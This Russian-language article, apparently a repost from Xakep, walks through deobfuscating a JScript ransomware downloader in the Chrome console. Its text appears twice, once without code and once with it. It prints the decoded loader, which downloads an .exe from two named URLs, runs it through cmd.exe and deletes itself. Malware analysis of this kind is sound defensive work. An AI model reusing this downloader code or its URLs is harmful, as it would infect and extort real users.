Вредонос на JS. Как Chrome помог мне реверсить вирус-шифровальщик
Наверняка ты хоть раз получал по электронной почте письмо со ссылкой на подозрительный архив. Авторы таких писем делают все возможное, чтобы невнимательный пользователь перешел по ссылке и позволил заразить свой компьютер. Подобное письмо пришло и моему приятелю, и так он стал одной из жертв. А что это был за вредонос, мы разберемся вместе.
Прежде чем обратиться ко мне, приятель несколько раз попытался открыть файл из архива. По его словам, ничего не произошло. Но я все равно велел ему немедленно выключить компьютер и вытащить из него жесткий диск. Однако было слишком поздно.
Вирус уже успел зашифровать половину файлов на диске D и даже забрался в расшаренную папку. Часть файлов удалось восстановить с помощью инструментов для восстановления удаленных файлов, но по закону подлости самые важные файлы были утрачены. Дальше классика жанра: на рабочем столе появилась новая картинка, а также текстовый файл с требованием определенной суммы за расшифровку данных и контактами злоумышленника.
Новые обои
Позднее я решил разобраться с этим вирусом в песочнице (VirtualBox + Windows XP). В архиве я обнаружил файл JavaScript, точнее файл с расширением .js и содержимым, по синтаксису напоминающим JavaScript.
Неправильные пчелы
«Это неправильные пчелы! И JavaScript у них какой-то неправильный», — подумал я. К тому же путь от открытия файла .js до шифрования файлов, на первый взгляд, не прослеживался.
Есть в Windows такая вещь, как WSH — сервер сценариев Windows. Он используется для запуска сценариев, написанных на определенных скриптовых языках, в том числе и на JScript — такие скрипты имеют расширение .js.
JScript — сценарный язык программирования компании Microsoft, являющийся реализацией стандарта ECMAScript. Синтаксис JScript во многом аналогичен языку JavaScript компании Netscape, однако JScript может использоваться не только для добавления клиентских скриптов на веб-страницы, но и для автоматизации администрирования Windows. За выполнение таких скриптов отвечает компонент WScript — Windows Script Host. Помимо языка JScript, поддерживается VBScript, а также и некоторые другие дополнительно устанавливаемые языки (например, Perl).
Переменные в коде — случайный набор букв. Также мы знаем, что код содержит около ста функций, которые возвращают результат арифметических действий над константами, и около двадцати функций, которые тем или иным образом обрабатывают эти результаты. Некоторые функции аналогично работают со строковыми константами. Это говорит о том, что код хорошо обфусцирован.
Весь секрет заключается в функции eval(). Эта функция выполняет код, переданный ей в качестве строки, а возвращает значение, равное последнему выражению. Рассмотрим одну из функций нашего шифровальщика.
Давай разберемся, что здесь происходит.
Функция Nx(), объявленная ранее, возвращает строку String.fromCharCode(, а uSK()возвращает закрывающую скобку. W() в качестве параметра принимает число, прибавляет единицу и возвращает eval("String.fromCharCode(" + (svu+1) + ")"). Берет число, прибавляет единицу и переводит в CHAR. Затем символы группируются в другие строки и подаются на вход функции eval(), но уже в другом месте.
Прибегаем к помощи Chrome
На изучение всех переменных и значений, которые эти переменные хранят, ушло бы очень много времени. Но код написан на языке, аналогичном JavaScript, и кое-что может упростить обфускацию. А именно — консоль разработчика в браузере Chrome послужит нам отличным средством отладки.
Попытка запустить весь код в консоли привела к ошибке
Chrome ругается на объект под названием ActiveXObject. Этот объект используется в Windows и позволяет создавать управляющие элементы ActiveX.
ActiveX — фреймворк для определения программных компонентов, пригодных к использованию из программ, написанных на разных языках программирования. Объекты ActiveXObject используются в приложениях для Windows, таких как Internet Explorer, Microsoft Office, Microsoft Visual Studio, Windows Media Player, и самой операционной системой.
Браузер не знает о таких прелестях Windows. ActiveXObject не был указан в коде в прямом виде, а значит, нельзя закомментировать использующий его код и запустить. Следовательно, нельзя и посмотреть, что вообще происходит. Но мы можем запустить отдельные функции и узнать, что они возвращают. К счастью, функции объявляются в том порядке, в котором они вызывались. Это позволяет рассматривать не каждую функцию в отдельности, а блоки из нескольких, при этом обращая внимание только на результат последней функции.
Результат всегда был постоянный, поэтому я решил, что его можно вписать вместо вызова последней функции, а сами функции удалить. Попутно я запускал отредактированный код на виртуальной машине и сравнивал с оригиналом, чтобы убедиться, что мои изменения не повлияли на результат.
Таким образом код сокращается в разы. Вот пример одной из таких цепочек. Функция xRy() в итоге возвращает String.from.
На следующем шаге мне встретился уже известный нам ActiveXObject:
Здесь создается переменная, вызывается функция eval(), которая возвращает объект ActiveXObject. Значит, мы можем удалить эту строку, а в местах, где используется эта переменная, использовать сам объект. Методы объектов тоже были обфусцированы. Каждое имя в зашифрованном виде было определено двумя строками, а для расшифровки вызывалась функция Wb().
Разбираться, как эта функция работает, необязательно. Ведь можно вызвать ее в браузере с нужными строками. Эта строка, к примеру, превращается в ScriptFullName:
Но как вызвать метод, имя которого хранится в строке? Автор зловреда знает такой прием.
Еще один прием обфускации, который встречается в коде, — ложное ветвление. Это значит, что создается переменная, сравнивается сама с собой, а в блок else вставляется ненужный код. Такой трюк не мешает анализу кода, но замедляет его.
Шаг за шагом перед нами появляется исходный код зловреда. Для удобства я заменил названия некоторых переменных на понятные. Код представляет собой тело и одну функцию. Сначала объявляется массив строк, содержащий два адреса URL. Затем последовательно для каждого URL запускается функция download, которая пытается скачать файл по принятому URL, а затем запустить. Возвращает true, если выполнилась успешно.
Итоги
Итак, я выяснил, что этот файл представляет собой лишь часть шифровальщика. Под видом документа он проникает на компьютер пользователя и загружает модуль, который и провернет всю грязную работу. В «Лаборатории Касперского» такие шифровальщики выделяют в отдельный класс Trojan-Downloader.JS.Agent и описывают так:
(c)Дмитрий Воропаев
хакер.ру
Наверняка ты хоть раз получал по электронной почте письмо со ссылкой на подозрительный архив. Авторы таких писем делают все возможное, чтобы невнимательный пользователь перешел по ссылке и позволил заразить свой компьютер. Подобное письмо пришло и моему приятелю, и так он стал одной из жертв. А что это был за вредонос, мы разберемся вместе.
Прежде чем обратиться ко мне, приятель несколько раз попытался открыть файл из архива. По его словам, ничего не произошло. Но я все равно велел ему немедленно выключить компьютер и вытащить из него жесткий диск. Однако было слишком поздно.
Вирус уже успел зашифровать половину файлов на диске D и даже забрался в расшаренную папку. Часть файлов удалось восстановить с помощью инструментов для восстановления удаленных файлов, но по закону подлости самые важные файлы были утрачены. Дальше классика жанра: на рабочем столе появилась новая картинка, а также текстовый файл с требованием определенной суммы за расшифровку данных и контактами злоумышленника.
Новые обои
Позднее я решил разобраться с этим вирусом в песочнице (VirtualBox + Windows XP). В архиве я обнаружил файл JavaScript, точнее файл с расширением .js и содержимым, по синтаксису напоминающим JavaScript.
Код:
...
function yW() {
var lN="";
lN=lN+W(101)+W(5085/45-0)+W(54+56)+W(983-875)+W(1056/16+0)+W(32+71)+W(3456/36+0)+W(1045-932)+W(885-819)+W(10*11)+W(26+73)+W(823-723);
return lN;
}
function Gyh() {
var eKt="";
eKt=eKt;
return eKt;
}
function Wb(Ea, Ki) {
var kO = w(Ea);
var YM = Szh();
var Ofr = w(Ki);
var laN = [To()][RkE()];
while (YM < kO) {
var hN = YM / ie();
var cra = Ea[Hn()](YM);
YM = YM + Efo();
cra = cra + Ea[mO()](YM);
YM = YM + Fi();
var mM = Bie(cra, dkW());
var WzA = Ki[CC()](hN % Ofr);
var dCt = mM ^ WzA;
var bHh = String[yW()](dCt);
laN = laN + Gyh() + bHh;
}
return laN;
}
...
Неправильные пчелы
«Это неправильные пчелы! И JavaScript у них какой-то неправильный», — подумал я. К тому же путь от открытия файла .js до шифрования файлов, на первый взгляд, не прослеживался.
Есть в Windows такая вещь, как WSH — сервер сценариев Windows. Он используется для запуска сценариев, написанных на определенных скриптовых языках, в том числе и на JScript — такие скрипты имеют расширение .js.
JScript — сценарный язык программирования компании Microsoft, являющийся реализацией стандарта ECMAScript. Синтаксис JScript во многом аналогичен языку JavaScript компании Netscape, однако JScript может использоваться не только для добавления клиентских скриптов на веб-страницы, но и для автоматизации администрирования Windows. За выполнение таких скриптов отвечает компонент WScript — Windows Script Host. Помимо языка JScript, поддерживается VBScript, а также и некоторые другие дополнительно устанавливаемые языки (например, Perl).
Переменные в коде — случайный набор букв. Также мы знаем, что код содержит около ста функций, которые возвращают результат арифметических действий над константами, и около двадцати функций, которые тем или иным образом обрабатывают эти результаты. Некоторые функции аналогично работают со строковыми константами. Это говорит о том, что код хорошо обфусцирован.
Весь секрет заключается в функции eval(). Эта функция выполняет код, переданный ей в качестве строки, а возвращает значение, равное последнему выражению. Рассмотрим одну из функций нашего шифровальщика.
Код:
function W(svu) {
var bHh = eval(Nx() + (svu+1) + uSk());
return bHh;
}
Функция Nx(), объявленная ранее, возвращает строку String.fromCharCode(, а uSK()возвращает закрывающую скобку. W() в качестве параметра принимает число, прибавляет единицу и возвращает eval("String.fromCharCode(" + (svu+1) + ")"). Берет число, прибавляет единицу и переводит в CHAR. Затем символы группируются в другие строки и подаются на вход функции eval(), но уже в другом месте.
Прибегаем к помощи Chrome
На изучение всех переменных и значений, которые эти переменные хранят, ушло бы очень много времени. Но код написан на языке, аналогичном JavaScript, и кое-что может упростить обфускацию. А именно — консоль разработчика в браузере Chrome послужит нам отличным средством отладки.
Попытка запустить весь код в консоли привела к ошибке
Chrome ругается на объект под названием ActiveXObject. Этот объект используется в Windows и позволяет создавать управляющие элементы ActiveX.
ActiveX — фреймворк для определения программных компонентов, пригодных к использованию из программ, написанных на разных языках программирования. Объекты ActiveXObject используются в приложениях для Windows, таких как Internet Explorer, Microsoft Office, Microsoft Visual Studio, Windows Media Player, и самой операционной системой.
Браузер не знает о таких прелестях Windows. ActiveXObject не был указан в коде в прямом виде, а значит, нельзя закомментировать использующий его код и запустить. Следовательно, нельзя и посмотреть, что вообще происходит. Но мы можем запустить отдельные функции и узнать, что они возвращают. К счастью, функции объявляются в том порядке, в котором они вызывались. Это позволяет рассматривать не каждую функцию в отдельности, а блоки из нескольких, при этом обращая внимание только на результат последней функции.
Результат всегда был постоянный, поэтому я решил, что его можно вписать вместо вызова последней функции, а сами функции удалить. Попутно я запускал отредактированный код на виртуальной машине и сравнивал с оригиналом, чтобы убедиться, что мои изменения не повлияли на результат.
Таким образом код сокращается в разы. Вот пример одной из таких цепочек. Функция xRy() в итоге возвращает String.from.
Код:
...
function RVt()
{ return GH + "g"+"."; }
function c()
{ return eval("String.fromCharCode(37+74)"); }
function G()
{ return "r"+c(); }
function LNe()
{ return qQ()+G();}
function xRy()
{ return RVt()+LNe()+"m"; }
...
Код:
var we = eval("ActiveXObject");
Код:
function Wb(Ea, Ki) {
var kO = w(Ea);
var YM = Szh();
var Ofr = w(Ki);
var laN = [To()][RkE()];
while (YM < kO) {
var hN = YM / ie();
var cra = Ea[Hn()](YM);
YM = YM + Efo();
cra = cra + Ea[mO()](YM);
YM = YM + Fi();
var mM = Bie(cra, dkW());
var WzA = Ki[CC()](hN % Ofr);
var dCt = mM ^ WzA;
var bHh = String[yW()](dCt);
laN = laN + Gyh() + bHh;
}
return laN;
}
Код:
Wb("350211334026350D0E253E290C20","facZ0RsxbIpHaEfKH0O88alv5fT70lEqyiHGesg20zxqoDXccZ356pUTXw6G1aUM0COgxBm")
Код:
var stream = new ActiveXObject("ADODB.Stream");
stream.["Open"]();
stream.["Type"] = 1;
stream.["Write"](XMLHTTP.ResponseBody);
stream.["Position"] = 0;
Шаг за шагом перед нами появляется исходный код зловреда. Для удобства я заменил названия некоторых переменных на понятные. Код представляет собой тело и одну функцию. Сначала объявляется массив строк, содержащий два адреса URL. Затем последовательно для каждого URL запускается функция download, которая пытается скачать файл по принятому URL, а затем запустить. Возвращает true, если выполнилась успешно.
Код:
function download(url) {
var WShell = new ActiveXObject("Wscript.Shell");
var fsObject = new ActiveXObject("Scripting.FileSystemObject");
var XMLHTTP = new ActiveXObject("MSXML2.XMLHTTP");
XMLHTTP.open("GET", url, 0); // Создаем синхронный запрос
XMLHTTP.send(); // Отсылаем запрос
if (XMLHTTP.Status == 200) { // Если запрос прошел успешно,
var newFile = fsObject.GetSpecialFolder(2) + "\\ " + fsObject.GetTempName(); // получаем дескриптор для временного файла
var stream = new ActiveXObject("ADODB.Stream");
stream.Open();
stream.Type = 1; // Единица означает бинарные данные
stream.Write(XMLHTTP.ResponseBody);
stream.Position = 0;
if (stream.Size < 10)
return false;
stream.SaveToFile(newFile); // Сохраняем файл
WShell.run("cmd.exe /c " + newFile, 0); // Запускаем файл
fsObject.deleteFile(WScript.ScriptFullName); // Удаляем
return true;
} else {
return false;
}
return true;
}
// Тело
var urls = [];
urls[0] = "http://www.interlaan.com/5e01a65eb3758.exe";
urls[1] = "http://vaibhavastrogemology.com/old/5e01a65eb3758.exe";
var flag = false;
var i = 0;
while (!flag) {
if (i > 1)
break;
flag = download(urls[i]);
i++;
}
Итоги
Итак, я выяснил, что этот файл представляет собой лишь часть шифровальщика. Под видом документа он проникает на компьютер пользователя и загружает модуль, который и провернет всю грязную работу. В «Лаборатории Касперского» такие шифровальщики выделяют в отдельный класс Trojan-Downloader.JS.Agent и описывают так:
Что ж, на этом мое исследование заканчивается. Надеюсь, ты тоже почерпнул из него немного полезного опыта.Обычно зловреды этого семейства представляют собой обфусцированный скрипт. Зловреды используют функционал ADODB.Stream, который позволяет им скачивать и запускать файлы DLL, EXE и PDF.
(c)Дмитрий Воропаев
хакер.ру